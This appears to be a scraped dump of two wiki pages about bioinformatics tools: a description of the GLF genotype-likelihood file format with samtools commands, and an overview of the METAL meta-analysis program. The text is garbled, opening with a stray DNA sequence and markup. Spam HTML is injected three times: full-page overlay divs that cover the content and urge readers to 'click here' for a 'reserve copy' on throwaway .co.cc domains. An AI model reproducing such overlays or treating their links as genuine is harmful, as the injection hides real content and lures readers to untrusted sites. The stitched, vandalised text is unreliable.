GGCAAAATGTATATAATTATGGCATGAGGTATGCAACTTTAGGCAAGGAAGCAAAAGCAGAAACCATGAAA
</pre>

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ubafiquc.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
----
=[http://ubafiquc.co.cc CLICK HERE]=
----
</div>

GLF

2010-11-18T00:33:28Z

Upugema:

'''GLF''' is a format for storing marginal likelihoods for next-generation sequence data, conditional on a set of possible genotypes.

>== Generating GLF Files ==

GLF files can be generated using [http://samtools.sourceforge.net samtools]. To generate a GLF file, use the <code>samtools pileup -g</code> command, which requires a sorted [[SAM]] file and a [[FASTA]] file with the human genome reference sequence.

samtools pileup -g -f human_b36_male.fa.gz NA19240.SLX.maq.bam > NA19240.SLX.maq.glf

=== Generating GLF Files for a Specific Region ===

Sometimes, you want to generate a GLF file for a specific chromosome region. This can be accomplished by first using <code>samtools view</code> to extract reads for a specific region from a [[SAM]] or [[BAM]] file and then using <code>samtools pileup -g</code> to generate the GLF file using the selected reads as input. Here is an example:

samtools view -u NA19240.SLX.maq.bam chr20:10000000-20000000 | samtools pileup -g -f human_b36_male.fa.gz - > NA19240.SLX.chr20_region.glf

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ywetodov.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
----
=[http://ywetodov.co.cc CLICK HERE]=
----
</div>

== File Format ==

The GLF-file format is defined in an Appendix to the [http://samtools.sourceforge.net/SAM1.pdf SAM-file format specification].

The current specification (GLF version 3) follows. All integers in are stored in the little-endian byte order. Most GLF files are compressed in a GZIP compatible format; SAMTOOLS will only read GLF files that are compressed with the BGZF library.

=== Header ===

Each GLF file starts with a header that identifies the files.

char[4] magicNumber = "GLF\3"; // This identifies the file format
int32_t headerLength; // This is typically zero
char[headerLength] headerText; // This is typically unused

=== Chromosome Header ===

The main header is followed by a series of blocks, summarizing likelihoods along each chromosome. Each of these blocks starts with a header, that records the chromosome label and length.

int32_t labelLength; // Including the terminating null character
char[labelLength] label; // Printable string identified the chromosome label; typically, "1", "2", "3"... "22", "X", "Y", "MT" are used as labels for human chromosomes.
uint32_t chromosomeLength; // Length of the original reference sequence. This is a useful sanity check, but samtools can generate GLF entries that go past the end of the sequence.

=== Likelihood Record Header ===

Each chromosome header is followed by a series of likelihood records, terminating with an end record of type 0.

char refBase:4; // 0..15 => XACMGRSVTWYHKDBN, so that 0x01 = A, 0x02 = C, 0x04 = G, 0x08 = T
char recordType:4; // 0 for the last record in this chromosome, 1 for regular records, 2 for indels

=== Simple Likelihood Record ===

These are records with recordType = 1.

uint32_t offset; // Offset from the previous record
uint32_t:24 depth; // Depth of coverage for the current record
uint32_t:8 maxLLK; // Maximum log-likelihood, multiplied by -10 log 10
uint8 mappingQuality; // Root mean squared mapping quality
uint8_t llk[10]; // Log-likelihood for each genotype, in the order AA..AT..CC..CT..GG..TT

=== Indel Likelihood Record ===

These are records with recordType = 2.

uint32_t offset; // Offset from the previous record
uint32_t:24 depth; // Depth of coverage for the current record
uint32_t:8 maxLLK; // Maximum log-likelihood, multiplied by -10 log 10
uint8 mappingQuality; // Root mean squared mapping quality
uint8_t llkHomozygous11; // Log-likelihood for an allele 1 homozygote
uint8_t llkHomozygous22; // Log-likelihood for an allele 2 homozygote
uint8_t llkHomozygous12; // Log-likelihood for an allele 1/2 heterozygote
int16_t signedAllele1length; // Length of the first indel allele (positive=ins; negative=del; zero=no-indel)
int16_t signedAllele2length; // Length of the first indel allele (positive=ins; negative=del; zero=no-indel)
char indelSequence1[signedAllele1Length]; // Sequence of the first indel allele
char indelSequence2[signedAllele2Length]; // Sequence of the first indel allele

=== Last Record ===

Records with recordType = 0 are empty.

== Tools That Use GLF Files ==

=== Variant Callers ===

[[glfSingle]]

[[glfTrio]]

[[glfMultiples]]

=== Utilities ===

* [[glfMerge]] - Combines GLF multiple glfFiles generated for the same individual. Useful for combining data across platforms.

METAL

2010-11-15T06:49:44Z

Upugema:

[[Category:Software]]
'''METAL''' is a program that facilitates the meta-analysis of genomewide association scans. It was first developed by Goncalo Abecasis, Yun Li and Cristen Willer. Early versions were used for the analyses presented in [http://www.sph.umich.edu/csg/abecasis/publications/18193045.html Sanna et al (2008)] and [http://www.sph.umich.edu/csg/abecasis/publications/18193043.html Willer et al (2008)]. Since then, METAL has become quite a popular tool for the analysis of genomewide association scans.

>== Useful Wiki Pages ==

There are a few pages in this Wiki that may be useful to METAL users. Here are links to a few:

* The [[METAL FAQ]]

* The [[METAL Command Reference]]

* The [[METAL Documentation]]

* The [[METAL Quick Start|METAL Quick Start Page]] '''Recommended for New Users!!'''

----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://uwamexybygo.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
----
=[http://uwamexybygo.co.cc CLICK HERE]=
----
</div>

== Option Specific Pages ==

Details of several options are available. Among those:

* [[METAL ADDFILTER|ADDFILTER]]
* [[METAL COLUMNCOUNTING|COLUMNCOUNTING]]
* [[METAL CUSTOMVARIABLE|CUSTOMVARIABLE]]
* [[METAL EFFECTLABEL|EFFECTLABEL]]
* [[METAL GENOMICCONTROL|GENOMICCONTROL]]
* [[METAL LOGPVALUE|LOGPVALUE]]
* [[METAL SOURCE|SOURCE]]
* [[METAL VERBOSE|VERBOSE]]

== Download ==

To download Metal, go to [http://www.sph.umich.edu/csg/abecasis/Metal/ the METAL website].

== Related Programs ==

[[LocusZoom]] is a program that facilitates display of genomewide association scan results.